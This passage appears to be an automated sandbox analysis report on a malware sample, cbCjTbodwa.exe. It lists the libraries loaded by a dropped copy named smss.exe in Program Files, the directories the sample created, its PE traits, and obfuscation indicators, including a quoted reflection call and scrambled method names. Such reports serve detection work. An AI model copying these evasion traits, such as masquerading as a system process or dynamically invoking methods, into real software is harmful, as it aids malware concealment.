                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dlnashext.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wpdshext.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: edputil.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: urlmon.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iertutil.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: srvcli.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: netutils.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.staterepositoryps.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wintypes.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: appresolver.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: bcp47langs.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: slc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sppc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: onecorecommonproxystub.dll
                            Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                            Source: C:\Windows\System32\chcp.comSection loaded: ulib.dll
                            Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: iphlpapi.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: mswsock.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: dnsapi.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: rasadhlp.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: fwpuclnt.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: winnsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mscoree.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: kernel.appcore.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: version.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: vcruntime140_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: uxtheme.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.storage.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wldp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: profapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptsp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rsaenh.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptbase.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sspicli.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ktmw32.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wbemcomn.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: amsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: userenv.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iphlpapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dnsapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc6.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winnsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasapi32.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasman.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rtutils.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mswsock.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winhttp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ondemandconnroutehelper.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasadhlp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: fwpuclnt.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: propsys.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: apphelp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dlnashext.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wpdshext.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: edputil.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: urlmon.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iertutil.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: srvcli.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: netutils.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.staterepositoryps.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wintypes.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: appresolver.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: bcp47langs.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: slc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sppc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: onecorecommonproxystub.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: onecoreuapcommonproxystub.dll
                            Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                            Source: C:\Windows\System32\chcp.comSection loaded: ulib.dll
                            Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: iphlpapi.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: logoncli.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: netutils.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: ntmarta.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: ntdsapi.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: mswsock.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: dnsapi.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: rasadhlp.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: fwpuclnt.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: kernel.appcore.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mscoree.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: kernel.appcore.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: version.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: vcruntime140_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: uxtheme.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.storage.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wldp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: profapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptsp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rsaenh.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptbase.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sspicli.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ktmw32.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wbemcomn.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iphlpapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dnsapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc6.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winnsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasapi32.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasman.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rtutils.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mswsock.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winhttp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ondemandconnroutehelper.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasadhlp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: fwpuclnt.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: propsys.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: apphelp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dlnashext.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wpdshext.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: edputil.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: urlmon.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iertutil.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: srvcli.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: netutils.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wintypes.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: appresolver.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: bcp47langs.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: slc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: userenv.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sppc.dll
                            Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                            Source: C:\Windows\System32\chcp.comSection loaded: ulib.dll
                            Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: iphlpapi.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: logoncli.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: netutils.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: ntmarta.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: ntdsapi.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: mswsock.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: dnsapi.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: rasadhlp.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: fwpuclnt.dll
                            Source: C:\Windows\System32\w32tm.exeSection loaded: kernel.appcore.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mscoree.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: kernel.appcore.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: version.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: vcruntime140_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: uxtheme.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.storage.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wldp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: profapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptsp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rsaenh.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptbase.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sspicli.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ktmw32.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wbemcomn.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: amsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: userenv.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iphlpapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dnsapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc6.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winnsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasapi32.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasman.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rtutils.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mswsock.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winhttp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ondemandconnroutehelper.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasadhlp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: fwpuclnt.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: propsys.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: apphelp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dlnashext.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wpdshext.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: edputil.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: urlmon.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iertutil.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: srvcli.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: netutils.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.staterepositoryps.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wintypes.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: appresolver.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: bcp47langs.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: slc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sppc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: onecorecommonproxystub.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: onecoreuapcommonproxystub.dll
                            Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                            Source: C:\Windows\System32\chcp.comSection loaded: ulib.dll
                            Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: iphlpapi.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: mswsock.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: dnsapi.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: rasadhlp.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: fwpuclnt.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: winnsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mscoree.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: kernel.appcore.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: version.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: vcruntime140_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ucrtbase_clr0400.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: uxtheme.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.storage.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wldp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: profapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptsp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rsaenh.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: cryptbase.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sspicli.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ktmw32.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wbemcomn.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: amsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: userenv.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iphlpapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dnsapi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc6.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dhcpcsvc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winnsi.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasapi32.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasman.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rtutils.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: mswsock.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: winhttp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: ondemandconnroutehelper.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: rasadhlp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: fwpuclnt.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: propsys.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: apphelp.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: dlnashext.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wpdshext.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: edputil.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: urlmon.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: iertutil.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: srvcli.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: netutils.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: windows.staterepositoryps.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: wintypes.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: appresolver.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: bcp47langs.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: slc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: sppc.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: onecorecommonproxystub.dll
                            Source: C:\Program Files\Uninstall Information\smss.exeSection loaded: onecoreuapcommonproxystub.dll
                            Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
                            Source: C:\Windows\System32\chcp.comSection loaded: ulib.dll
                            Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: iphlpapi.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: mswsock.dll
                            Source: C:\Windows\System32\PING.EXESection loaded: dnsapi.dll
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{289AF617-1CC3-42A6-926C-E6A863F0E3BA}\InProcServer32Jump to behavior
                            Source: Window RecorderWindow detected: More than 3 window changes detected
                            Source: C:\Program Files\Uninstall Information\smss.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDirectory created: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exeJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDirectory created: C:\Program Files\Windows Multimedia Platform\bb1ff9bc311443Jump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDirectory created: C:\Program Files\Uninstall Information\smss.exeJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDirectory created: C:\Program Files\Uninstall Information\69ddcba757bf72Jump to behavior
                            Source: cbCjTbodwa.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                            Source: cbCjTbodwa.exeStatic PE information: Virtual size of .text is bigger than: 0x100000
                            Source: cbCjTbodwa.exeStatic file information: File size 3697152 > 1048576
                            Source: cbCjTbodwa.exeStatic PE information: Raw size of .text is bigger than: 0x100000 < 0x386200
                            Source: cbCjTbodwa.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                            Source: Binary string: s\dll\System.pdb source: smss.exe, 00000014.00000002.2158512578.000000001C8E2000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 00000020.00000002.2465550834.000000001C8EB000.00000004.00000020.00020000.00000000.sdmp
                            Source: Binary string: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.inim.pdb source: smss.exe, 00000033.00000002.2906634991.000000001BF13000.00000004.00000020.00020000.00000000.sdmp

                            Data Obfuscation

                            barindex
                            .NET source code contains method to dynamically call methods (often used by packers)
                            Source: cbCjTbodwa.exe, sVLh7J7v60C9bWOCx6E.cs.Net Code: Type.GetTypeFromHandle(o8Tar2Srm9dN4WdjiJX.KR0lKkfMFfl(16777424)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(o8Tar2Srm9dN4WdjiJX.KR0lKkfMFfl(16777245)),Type.GetTypeFromHandle(o8Tar2Srm9dN4WdjiJX.KR0lKkfMFfl(16777259))})
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeCode function: 0_2_00007FFD9B89484C push E8FFFFFDh; retf 0_2_00007FFD9B894851
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeCode function: 0_2_00007FFD9B894B64 push edi; retf 0_2_00007FFD9B894B70
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeCode function: 0_2_00007FFD9BC5344C push esp; iretd 0_2_00007FFD9BC5348A
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeCode function: 0_2_00007FFD9BC534AC push edi; iretd 0_2_00007FFD9BC534CA
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeCode function: 0_2_00007FFD9BFF7969 push ebx; retf 0_2_00007FFD9BFF796A
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeCode function: 0_2_00007FFD9BFF8169 push ebx; ret 0_2_00007FFD9BFF816A
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 5_2_00007FFD9B86484C push E8FFFFFDh; retf 5_2_00007FFD9B864851
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 5_2_00007FFD9B864B64 push edi; retf 5_2_00007FFD9B864B70
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 5_2_00007FFD9B8600BD pushad ; iretd 5_2_00007FFD9B8600C1
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 5_2_00007FFD9BC299BC push ecx; iretd 5_2_00007FFD9BC299E2
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 5_2_00007FFD9BC2999C push ecx; iretd 5_2_00007FFD9BC299BA
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 5_2_00007FFD9BC298F1 push eax; iretd 5_2_00007FFD9BC2999A
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 14_2_00007FFD9B93484C push E8FFFFFDh; retf 14_2_00007FFD9B934851
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 14_2_00007FFD9B934B64 push edi; retf 14_2_00007FFD9B934B70
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 14_2_00007FFD9C09343E pushad ; iretd 14_2_00007FFD9C093441
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 20_2_00007FFD9B90484C push E8FFFFFDh; retf 20_2_00007FFD9B904851
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 20_2_00007FFD9B904B64 push edi; retf 20_2_00007FFD9B904B70
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 20_2_00007FFD9BCC0E9C push edi; retf 20_2_00007FFD9BCC102A
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 20_2_00007FFD9BCC0E85 push esi; retf 20_2_00007FFD9BCC0E9A
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 20_2_00007FFD9BCC0E49 push esp; retf 20_2_00007FFD9BCC0E5A
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 20_2_00007FFD9BCC0D99 push ebx; retf 20_2_00007FFD9BCC0DAA
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 26_2_00007FFD9B91484C push E8FFFFFDh; retf 26_2_00007FFD9B914851
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 26_2_00007FFD9B914B64 push edi; retf 26_2_00007FFD9B914B70
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 26_2_00007FFD9C077969 push ebx; retf 26_2_00007FFD9C07796A
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 26_2_00007FFD9C078169 push ebx; ret 26_2_00007FFD9C07816A
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 32_2_00007FFD9B977010 push cs; iretd 32_2_00007FFD9B97701F
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 32_2_00007FFD9B927E73 push ebp; ret 32_2_00007FFD9B927E78
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 32_2_00007FFD9B91484C push E8FFFFFDh; retf 32_2_00007FFD9B914851
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 32_2_00007FFD9B914B64 push edi; retf 32_2_00007FFD9B914B70
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 32_2_00007FFD9B94631A pushad ; ret 32_2_00007FFD9B94631D
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 32_2_00007FFD9B945726 push esp; iretd 32_2_00007FFD9B945729
                            Source: cbCjTbodwa.exe, sVLh7J7v60C9bWOCx6E.csHigh entropy of concatenated method names: 'gvrAyqaSl8WeoKq6503h', 'LQok5jaSRfgq638EShLu', 'NQOhQtbCOH', 'uhwbFNaS9SQ0Rcw4alht', 'ArOSgAaSZVrmilHZ3mrA', 'WQHOCUaSDorgRAU0iRVu', 'pCblmRaSdwHqVlLEcZIY', 'gqGad9aS18Wkr0IkjFda', 'Np2DATaS4rf6EZ9ux44v', 'JhOFiQaSw3qPM6teVXdH'
                            Source: cbCjTbodwa.exe, GaJNCtAYZe55dAXf7gI.csHigh entropy of concatenated method names: 'JF3S4NaH2yeAJK7caw48', 'OlTfUwaHXAWbJV9LKKCC', 'qkS5c9aHBuuuPvJcxKm3', 'caq6LOaHGpGWZpp8DS0N', 'fmVvWvaHAUxwljjmQKS4', 'yF9AI8aHNb0AOMCVDKlv', 'TGFvOHaHfThGSJZ2VSOR', 'Nbo0XqaHuOhDLCRdsyiB', 'WMiEUYaHkWP7lQaXu0Ok'
                            Source: cbCjTbodwa.exe, AlWER7Dl5585vSAEYjo.csHigh entropy of concatenated method names: 'YcxDCgypXM', 'UfFDKf4Dfm', 'AIGD569mwQ', 'h4CD94M1CP', 'apcDZGhqhO', 'vISDDJ4Sqn', 'mS7DdF9Ire', 'UtDD1ag4tt', 'Bt6D4O7MpG', 'I4tDw43owG'
                            Source: cbCjTbodwa.exe, m9AptbU3TOrc47CRucI.csHigh entropy of concatenated method names: 'FsMFrq6ShM', 'dYv64oabNe4nwIs5rELY', 'LX61MVabfwq1wrXvXhN2', 'Nnd1XLabt6ltSW7Q0Qsw', 'kt5', 'zjaUOIqU1l', 'ReadByte', 'get_CanRead', 'get_CanSeek', 'get_CanWrite'
                            Source: cbCjTbodwa.exe, e7hvePTGT35nX5fjGdZ.csHigh entropy of concatenated method names: 'w0ITXJOfpR', 'DC4TcKWS4x', 'd1ZTbCudc0', 'SmNCCia2UtVIAEouAVML', 'W0Xhs2a2m1yAYy1tr2h2', 'jjVmrAa2eSJTDGUEl3Ak', 'TgIyR3a2F3JxM6iQmRsG', 'HtWYOfa2Jtnvw35CFYfO', 'jKmE0oa2YoF3jYTIImA0', 'dr2yjfa2MO4l5XLH3wgy'
                            Source: cbCjTbodwa.exe, py64yVDrcN1nueOZnaF.csHigh entropy of concatenated method names: 'q76', 'method_0', 'p9e', 'hkB', 'method_1', 'method_2', 'hbikWGaYTBBVw3hmmhvm', 'vtMO7TaYiqrgjx7sFOWi', 'NJmNpIaYmHwt7OPIp9IY', 'wS3DEDQelN'
